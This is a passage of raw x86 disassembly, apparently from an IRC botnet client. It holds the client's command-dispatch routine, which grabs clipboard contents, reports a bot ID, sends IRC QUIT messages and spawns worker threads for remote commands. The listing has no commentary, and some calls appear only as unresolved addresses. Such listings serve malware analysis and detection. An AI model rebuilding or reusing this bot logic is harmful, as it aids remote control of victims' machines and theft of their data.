lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_40797F
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_413FDE
loc_413FCC: ; CODE XREF: sub_40EE72+516Aj
cmp [ebp+var_300], ebx
jnz short loc_413FF9
push 32h
call near ptr 2610E88h
nop
jmp short loc_413FCC
; ---------------------------------------------------------------------------
loc_413FDE: ; CODE XREF: sub_40EE72+5158j
nop
call near ptr 2660B07h
push eax
lea eax, [ebp+var_2DC]
push offset unk_4315C8
push eax
call sub_4172B0
add esp, 0Ch
loc_413FF9: ; CODE XREF: sub_40EE72+5160j
cmp [ebp+var_8], ebx
jnz short loc_414018
push ebx
lea eax, [ebp+var_2DC]
push esi
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_414018: ; CODE XREF: sub_40EE72+518Aj
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
pop ecx
loc_414025: ; CODE XREF: sub_40EE72+4F48j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_413D70
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_414039: ; CODE XREF: sub_40EE72+3108j
; sub_40EE72+4FC4j
push offset unk_4302D8
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_414043: ; CODE XREF: sub_40EE72+1921j
; sub_40EE72+1936j
push [ebp+var_8C]
lea eax, [ebp+var_A4]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_A8], eax
mov eax, [ebp+var_4]
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
mov [ebp+var_1C], eax
push offset unk_4302A0
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 1Eh
push eax
call sub_416D5C
add esp, 18h
mov [ebp+var_24], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A8]
push ebx
push eax
push offset sub_409037
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_24]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4140DC
loc_4140C9: ; CODE XREF: sub_40EE72+5268j
cmp [ebp+var_18], ebx
jnz loc_414E11
push 32h
nop
call near ptr 2610E88h
jmp short loc_4140C9
; ---------------------------------------------------------------------------
loc_4140DC: ; CODE XREF: sub_40EE72+5255j
nop
call near ptr 2660B07h
push eax
push offset unk_430254
jmp loc_414E02
; ---------------------------------------------------------------------------
loc_4140ED: ; CODE XREF: sub_40EE72+18F7j
; sub_40EE72+190Cj
push 4
call sub_416FA4
test eax, eax
pop ecx
jle short loc_414103
push offset unk_430228
jmp loc_410D38
; ---------------------------------------------------------------------------
loc_414103: ; CODE XREF: sub_40EE72+5285j
mov eax, [ebp+esi+var_90]
cmp eax, ebx
jz short loc_414126
push eax
mov edi, 104h
lea eax, [ebp+var_7FC]
push edi
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_41413A
; ---------------------------------------------------------------------------
loc_414126: ; CODE XREF: sub_40EE72+529Aj
mov edi, 104h
lea eax, [ebp+var_7FC]
push edi
push eax
push ebx
call near ptr 2670000h
nop
loc_41413A: ; CODE XREF: sub_40EE72+52B2j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_41414A
mov esi, offset byte_42F674
loc_41414A: ; CODE XREF: sub_40EE72+52D1j
push esi
lea eax, [ebp+var_6F8]
push edi
push eax
call sub_41782A
mov eax, dword_42F5AC
push 7Fh
push [ebp+var_8C]
mov [ebp+var_5EC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5F0], ebx
mov [ebp+var_800], eax
lea eax, [ebp+var_5E8]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_6F8]
push eax
lea eax, [ebp+var_7FC]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_5EC]
push offset unk_42B328
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 4
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_5F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_800]
push ebx
push eax
push offset sub_406C19
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_5F4]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_41421D
loc_414207: ; CODE XREF: sub_40EE72+53A9j
cmp [ebp+var_560], ebx
jnz loc_410E57
push 32h
call near ptr 2610E88h
nop
jmp short loc_414207
; ---------------------------------------------------------------------------
loc_41421D: ; CODE XREF: sub_40EE72+5393j
nop
call near ptr 2660B07h
push eax
push offset unk_4301E0
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_41422E: ; CODE XREF: sub_40EE72+18CDj
; sub_40EE72+18E2j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_41424D
push edi
call sub_41781F
test eax, eax
pop ecx
jz short loc_41424D
push edi
call sub_41781F
pop ecx
jmp short loc_414252
; ---------------------------------------------------------------------------
loc_41424D: ; CODE XREF: sub_40EE72+53C5j
; sub_40EE72+53D0j
mov eax, dword_42F5B0
loc_414252: ; CODE XREF: sub_40EE72+53D9j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_57C], eax
xor eax, eax
cmp [ebp+var_9C4], bl
setz al
cmp esi, ebx
mov [ebp+var_568], eax
jz short loc_414285
lea eax, [ebp+var_680]
push esi
push eax
call sub_4172B0
pop ecx
pop ecx
jmp short loc_4142B0
; ---------------------------------------------------------------------------
loc_414285: ; CODE XREF: sub_40EE72+5400j
lea eax, [ebp+var_3FC]
push 104h
push eax
nop
call near ptr 2620000h
push ebx
push ebx
lea eax, [ebp+var_2E8]
push ebx
push eax
lea eax, [ebp+var_3FC]
push eax
call sub_4192B8
add esp, 14h
loc_4142B0: ; CODE XREF: sub_40EE72+5411j
lea eax, [ebp+var_680]
push eax
call sub_417AB0
cmp [ebp+eax+var_681], 5Ch
pop ecx
jnz short loc_4142DB
lea eax, [ebp+var_680]
push eax
call sub_417AB0
pop ecx
mov [ebp+eax+var_681], bl
loc_4142DB: ; CODE XREF: sub_40EE72+5453j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_908]
mov [ebp+var_90C], esi
push 80h
push eax
call sub_41782A
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_680]
mov [ebp+var_570], edi
push eax
push [ebp+var_57C]
push esi
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_42B20C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 3
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_90C]
push ebx
push eax
push offset sub_405AF2
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_414393
loc_41437D: ; CODE XREF: sub_40EE72+551Fj
cmp [ebp+var_560], ebx
jnz loc_4144E5
push 32h
nop
call near ptr 2610E88h
jmp short loc_41437D
; ---------------------------------------------------------------------------
loc_414393: ; CODE XREF: sub_40EE72+5509j
nop
call near ptr 2660B07h
push eax
push offset unk_430198
jmp loc_4144D6
; ---------------------------------------------------------------------------
loc_4143A4: ; CODE XREF: sub_40EE72+18A3j
; sub_40EE72+18B8j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_4143C3
push edi
call sub_41781F
test eax, eax
pop ecx
jz short loc_4143C3
push edi
call sub_41781F
pop ecx
jmp short loc_4143C8
; ---------------------------------------------------------------------------
loc_4143C3: ; CODE XREF: sub_40EE72+553Bj
; sub_40EE72+5546j
mov eax, dword_42F5B4
loc_4143C8: ; CODE XREF: sub_40EE72+554Fj
mov [ebp+var_578], eax
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jnz short loc_4143DF
lea eax, [ebp+var_D8]
loc_4143DF: ; CODE XREF: sub_40EE72+5565j
push eax
lea eax, [ebp+var_6B8]
push 40h
push eax
call sub_41782A
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jnz short loc_414401
mov esi, offset byte_436EDC
loc_414401: ; CODE XREF: sub_40EE72+5588j
push esi
lea eax, [ebp+var_678]
push 100h
push eax
call sub_41782A
add esp, 0Ch
lea eax, [ebp+var_738]
push [ebp+var_8C]
push 80h
push eax
call sub_41782A
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_564], eax
lea eax, [ebp+var_6B8]
push eax
mov [ebp+var_73C], esi
push [ebp+var_578]
mov [ebp+var_568], edi
push esi
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset dword_43014C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 6
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_73C]
push ebx
push eax
push offset word_41570E
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4144CA
loc_4144B8: ; CODE XREF: sub_40EE72+5656j
cmp [ebp+var_560], ebx
jnz short loc_4144E5
push 32h
call near ptr 2610E88h
nop
jmp short loc_4144B8
; ---------------------------------------------------------------------------
loc_4144CA: ; CODE XREF: sub_40EE72+5644j
nop
call near ptr 2660B07h
push eax
push offset dword_430100
loc_4144D6: ; CODE XREF: sub_40EE72+3625j
; sub_40EE72+3722j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
loc_4144E5: ; CODE XREF: sub_40EE72+3609j
; sub_40EE72+3706j ...
cmp [ebp+var_8], ebx
jnz loc_414E11
push ebx
push edi
jmp loc_411D2F
; ---------------------------------------------------------------------------
loc_4144F5: ; CODE XREF: sub_40EE72+1879j
; sub_40EE72+188Ej
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414508
push esi
call sub_41781F
jmp short loc_41450F
; ---------------------------------------------------------------------------
loc_414508: ; CODE XREF: sub_40EE72+568Cj
push 8
call sub_416FC3
loc_41450F: ; CODE XREF: sub_40EE72+5694j
cmp eax, ebx
pop ecx
jz loc_414F47
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4071DB
loc_41452A: ; CODE XREF: sub_40EE72+5B67j
add esp, 10h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_414532: ; CODE XREF: sub_40EE72+184Fj
; sub_40EE72+1864j
mov eax, dword_43ACC0
cmp eax, ebx
jz short loc_41454F
call eax
test eax, eax
jz short loc_414548
push offset unk_4300CC
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_414548: ; CODE XREF: sub_40EE72+56CDj
push offset unk_430090
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_41454F: ; CODE XREF: sub_40EE72+56C7j
push offset dword_430054
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_414556: ; CODE XREF: sub_40EE72+1825j
; sub_40EE72+183Aj
call sub_40AE02
test eax, eax
jz short loc_41457A
push offset dword_430020
loc_414564: ; CODE XREF: sub_40EE72+4AFCj
; sub_40EE72+56D4j ...
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
jmp loc_4110BD
; ---------------------------------------------------------------------------
loc_41457A: ; CODE XREF: sub_40EE72+56EBj
push offset unk_42FFE4
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_414581: ; CODE XREF: sub_40EE72+17FBj
; sub_40EE72+1810j
cmp [ebp+var_8], ebx
jnz short loc_4145A0
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_4145A0: ; CODE XREF: sub_40EE72+5712j
push ebx
push [ebp+var_4]
call sub_40AABF
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
push offset dword_42FFA4
loc_4145BD: ; CODE XREF: sub_40EE72+5A09j
; sub_40EE72+5A3Bj
call sub_40BF6D
add esp, 18h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_4145CA: ; CODE XREF: sub_40EE72+171Cj
; sub_40EE72+1731j
push 7
call sub_416FA4
test eax, eax
pop ecx
jle short loc_4145DD
push offset dword_42FF6C
jmp short loc_4145FE
; ---------------------------------------------------------------------------
loc_4145DD: ; CODE XREF: sub_40EE72+5762j
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B56C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4145F9
push offset dword_42FF34
jmp short loc_4145FE
; ---------------------------------------------------------------------------
loc_4145F9: ; CODE XREF: sub_40EE72+577Ej
push offset dword_42FF04
loc_4145FE: ; CODE XREF: sub_40EE72+2C51j
; sub_40EE72+2D87j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_41460C: ; CODE XREF: sub_40EE72+15C6j
; sub_40EE72+2D61j ...
cmp [ebp+var_8], ebx
jnz loc_414E11
push ebx
push [ebp+var_4]
loc_414619: ; CODE XREF: sub_40EE72+3961j
lea eax, [ebp+var_2DC]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_414629: ; CODE XREF: sub_40EE72+2ECBj
call sub_40D679
add esp, 14h
jmp loc_414E11
; ---------------------------------------------------------------------------
loc_414636: ; CODE XREF: sub_40EE72+16F2j
; sub_40EE72+1707j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A4AC
jmp loc_40F236
; ---------------------------------------------------------------------------
loc_41464F: ; CODE XREF: sub_40EE72+16C8j
; sub_40EE72+16DDj
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D320
jmp loc_40F236
; ---------------------------------------------------------------------------
loc_41466C: ; CODE XREF: sub_40EE72+169Ej
; sub_40EE72+16B3j
or edi, 0FFFFFFFFh
nop
call near ptr 261077Ch
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_414695
push esi
call sub_41781F
pop ecx
mov edi, eax
loc_414695: ; CODE XREF: sub_40EE72+5818j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_4146AE
cmp edi, 0FFFFFFFFh
jnz loc_414F47
loc_4146AE: ; CODE XREF: sub_40EE72+5831j
push ebx
call sub_40B721
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset dword_42FEDC
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
jmp loc_411A5D
; ---------------------------------------------------------------------------
loc_4146F1: ; CODE XREF: sub_40EE72+1674j
; sub_40EE72+1689j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_408C26
add esp, 0Ch
push offset unk_42FEAC
jmp loc_410D38
; ---------------------------------------------------------------------------
loc_41470F: ; CODE XREF: sub_40EE72+164Aj
; sub_40EE72+165Fj
push 1Fh
call sub_416FA4
test eax, eax
pop ecx
jle short loc_414738
cmp [ebp+var_8], ebx
jnz loc_40F239
push ebx
push [ebp+var_4]
push offset unk_42FE78
push [ebp+var_8C]
jmp loc_40F7A0
; ---------------------------------------------------------------------------
loc_414738: ; CODE XREF: sub_40EE72+58A7j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_464], eax
mov [ebp+var_46C], ebx
jz short loc_414799
push esi
push offset aFull ; "full"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_414799
mov [ebp+var_46C], 1
loc_414799: ; CODE XREF: sub_40EE72+590Aj
; sub_40EE72+591Bj
lea eax, [ebp+var_2DC]
push offset dword_42FE40
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 1Fh
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_41533B
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_414807
loc_4147F1: ; CODE XREF: sub_40EE72+5993j
cmp [ebp+var_460], ebx
jnz loc_414E11
push 32h
nop
call near ptr 2610E88h
jmp short loc_4147F1
; ---------------------------------------------------------------------------
loc_414807: ; CODE XREF: sub_40EE72+597Dj
nop
call near ptr 2660B07h
push eax
push offset unk_42FDF0
jmp loc_414E02
; ---------------------------------------------------------------------------
loc_414818: ; CODE XREF: sub_40EE72+1620j
; sub_40EE72+1635j
cmp [ebp+var_8], ebx
jnz short loc_414837
push ebx
push [ebp+var_4]
push offset dword_42FDC8
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_414837: ; CODE XREF: sub_40EE72+59A9j
push [ebp+arg_4]
call dword_43AE30
call dword_43ACF8
call sub_40AC42
push ebx
call near ptr 77E75CB5h
nop
loc_414852: ; CODE XREF: sub_40EE72+15F6j
; sub_40EE72+160Bj
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40B8D8
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
push offset dword_42FDA0
jmp loc_4145BD
; ---------------------------------------------------------------------------
loc_414880: ; CODE XREF: sub_40EE72+14BCj
; sub_40EE72+14D1j
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40BB8C
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
push offset dword_42FD78
jmp loc_4145BD
; ---------------------------------------------------------------------------
loc_4148B2: ; CODE XREF: sub_40EE72+1492j
; sub_40EE72+14A7j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40C00D
jmp loc_40F236
; ---------------------------------------------------------------------------
loc_4148CB: ; CODE XREF: sub_40EE72+1468j
; sub_40EE72+147Dj
cmp [ebp+var_C], ebx
mov [ebp+var_388], bl
jz short loc_41490A
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_41490A
push esi
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41490A
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_388]
push 80h
push eax
call sub_41782A
add esp, 10h
loc_41490A: ; CODE XREF: sub_40EE72+5A62j
; sub_40EE72+5A6Dj ...
push [ebp+var_8C]
lea eax, [ebp+var_408]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_40C], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
mov eax, [ebp+var_8]
mov [ebp+var_300], eax
lea eax, [ebp+var_2DC]
push offset dword_42FD50
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 1Dh
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_40C07F
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4149AD
loc_414997: ; CODE XREF: sub_40EE72+5B39j
cmp [ebp+var_2FC], ebx
jnz loc_40F239
push 32h
nop
call near ptr 2610E88h
jmp short loc_414997
; ---------------------------------------------------------------------------
loc_4149AD: ; CODE XREF: sub_40EE72+5B23j
nop
call near ptr 2660B07h
push eax
push offset dword_42FD08
jmp loc_40F422
; ---------------------------------------------------------------------------
loc_4149BE: ; CODE XREF: sub_40EE72+143Ej
; sub_40EE72+1453j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40BEF5
push offset dword_42FCE0
call sub_40BF6D
jmp loc_41452A
; ---------------------------------------------------------------------------
loc_4149DE: ; CODE XREF: sub_40EE72+1414j
; sub_40EE72+1429j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_464], eax
jz short loc_414A38
push offset dword_42FCDC
push esi
call sub_4176D0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_46C], eax
jmp short loc_414A3E
; ---------------------------------------------------------------------------
loc_414A38: ; CODE XREF: sub_40EE72+5BAAj
mov [ebp+var_46C], ebx
loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j
lea eax, [ebp+var_2DC]
push offset dword_42FCB0
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 20h
push eax
call sub_416D5C
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset byte_416DC7
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_414AA8
loc_414A96: ; CODE XREF: sub_40EE72+5C34j
cmp [ebp+var_460], ebx
jnz short loc_414AC3
push 32h
nop
call near ptr 2610E88h
jmp short loc_414A96
; ---------------------------------------------------------------------------
loc_414AA8: ; CODE XREF: sub_40EE72+5C22j
call near ptr 2660B07h
nop
push eax
push offset dword_42FC68
loc_414AB4: ; CODE XREF: sub_40EE72+489Dj
; sub_40EE72+49B9j
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
loc_414AC3: ; CODE XREF: sub_40EE72+4527j
; sub_40EE72+453Fj ...
lea eax, [ebp+var_2DC]
push eax
jmp loc_410654
; ---------------------------------------------------------------------------
loc_414ACF: ; CODE XREF: sub_40EE72+1398j
; sub_40EE72+13ADj
push offset aBotid ; "botid"
push offset dword_42FC40
jmp short loc_414AED
; ---------------------------------------------------------------------------
loc_414ADB: ; CODE XREF: sub_40EE72+136Ej
; sub_40EE72+1383j
push dword_4CD5F0
call sub_40B721
pop ecx
push eax
push offset dword_42FC04
loc_414AED: ; CODE XREF: sub_40EE72+5C67j
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 20h
jmp loc_4110FD
; ---------------------------------------------------------------------------
loc_414B1A: ; CODE XREF: sub_40EE72+1344j
; sub_40EE72+1359j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414B4C
cmp [ebp+var_C], ebx
jz short loc_414B5B
push esi
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_414B5B
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
jmp short loc_414B5B
; ---------------------------------------------------------------------------
loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_40D633
pop ecx
pop ecx
loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j
; sub_40EE72+5CC5j ...
push 0FFFFFFFEh
jmp loc_40F23B
; ---------------------------------------------------------------------------
loc_414B62: ; CODE XREF: sub_40EE72+131Aj
; sub_40EE72+132Fj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_40D633
push offset dword_42FBB4
call sub_40BF6D
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_414B84: ; CODE XREF: sub_40EE72+12F0j
; sub_40EE72+1305j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40D633
push offset dword_42FB74
call sub_40BF6D
add esp, 0Ch
xor eax, eax
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_414BA5: ; CODE XREF: sub_40EE72+12C6j
; sub_40EE72+12DBj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_407110
jmp loc_412FF4
; ---------------------------------------------------------------------------
loc_414BBB: ; CODE XREF: sub_40EE72+1221j
; sub_40EE72+1236j
push [ebp+esi+var_90]
push 1Fh
push offset dword_42FB64
push offset dword_42FB58
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_414BD3: ; CODE XREF: sub_40EE72+11F7j
; sub_40EE72+120Cj
push [ebp+esi+var_90]
push 1Ch
push offset dword_42FB4C
push offset dword_42FB3C
jmp loc_40FED3
; ---------------------------------------------------------------------------
loc_414BEB: ; CODE XREF: sub_40EE72+1022j
; sub_40EE72+1037j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_414C0A
push edi
call sub_41781F
test eax, eax
pop ecx
jz short loc_414C0A
push edi
call sub_41781F
pop ecx
jmp short loc_414C0F
; ---------------------------------------------------------------------------
loc_414C0A: ; CODE XREF: sub_40EE72+5D82j
; sub_40EE72+5D8Dj
mov eax, dword_42F5A8
loc_414C0F: ; CODE XREF: sub_40EE72+5D96j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_478], eax
cmp esi, ebx
jz short loc_414C34
push esi
loc_414C21: ; CODE XREF: sub_40EE72+5DD1j
lea eax, [ebp+var_488]
push 10h
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_414C4B
; ---------------------------------------------------------------------------
loc_414C34: ; CODE XREF: sub_40EE72+5DACj
cmp [ebp+var_9C7], bl
jz short loc_414C45
lea eax, [ebp+var_D8]
push eax
jmp short loc_414C21
; ---------------------------------------------------------------------------
loc_414C45: ; CODE XREF: sub_40EE72+5DC8j
mov [ebp+var_488], bl
loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_46C], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_468], eax
lea eax, [ebp+var_508]
push eax
mov [ebp+var_50C], esi
call sub_41782A
add esp, 0Ch
push [ebp+var_478]
push esi
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_42B75C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 11h
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_474], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_50C]
push ebx
push eax
push offset sub_407FEA
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_474]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_414CFC
loc_414CE6: ; CODE XREF: sub_40EE72+5E88j
cmp [ebp+var_464], ebx
jnz loc_40F239
push 32h
call near ptr 2610E88h
nop
jmp short loc_414CE6
; ---------------------------------------------------------------------------
loc_414CFC: ; CODE XREF: sub_40EE72+5E72j
nop
call near ptr 2660B07h
push eax
push offset unk_42FAF4
jmp loc_40F422
; ---------------------------------------------------------------------------
loc_414D0D: ; CODE XREF: sub_40EE72+FCEj
; sub_40EE72+FE3j ...
push edi
push offset aSecure ; "secure"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_414D35
push edi
push offset aSec ; "sec"
call sub_4176D0
pop ecx
mov [ebp+var_46C], ebx
test eax, eax
pop ecx
jnz short loc_414D3F
loc_414D35: ; CODE XREF: sub_40EE72+5EAAj
mov [ebp+var_46C], 1
loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_46C], ebx
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
mov [ebp+var_464], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_414D86
mov eax, offset aUnsecuring ; "Unsecuring"
loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj
push eax
push offset dword_42FAA8
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 1Ah
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_415F28
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_414DF6
loc_414DE4: ; CODE XREF: sub_40EE72+5F82j
cmp [ebp+var_460], ebx
jnz short loc_414E11
push 32h
